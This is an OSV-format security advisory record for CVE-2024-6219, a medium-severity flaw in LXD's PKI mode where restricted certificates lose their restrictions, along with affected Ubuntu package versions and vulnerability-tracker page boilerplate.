      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "lxd",
            "binary_version": "1:0.10"
          },
          {
            "binary_name": "lxd-client",
            "binary_version": "1:0.10"
          },
          {
            "binary_name": "lxd-tools",
            "binary_version": "1:0.10"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "lxd",
        "purl": "pkg:deb/ubuntu/lxd@1:0.10?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1:0.7",
        "1:0.8",
        "1:0.9",
        "1:0.10"
      ]
    }
  ],
  "aliases": [],
  "details": "Mark Laing discovered in LXD\u0027s PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.",
  "id": "UBUNTU-CVE-2024-6219",
  "modified": "2026-06-19T00:12:21Z",
  "published": "2024-12-06T00:15:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2024-6219"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6219"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2024-6219"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2024-6219 (GCVE-0-2024-6219)

FKIE_CVE-2024-6219

GHSA-JPMC-7P9C-4RXF

Summary

Details

PoC

Impact

OPENSUSE-SU-2024:14567-1

ubuntu-cve-2024-6219

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature

Related by attack behaviour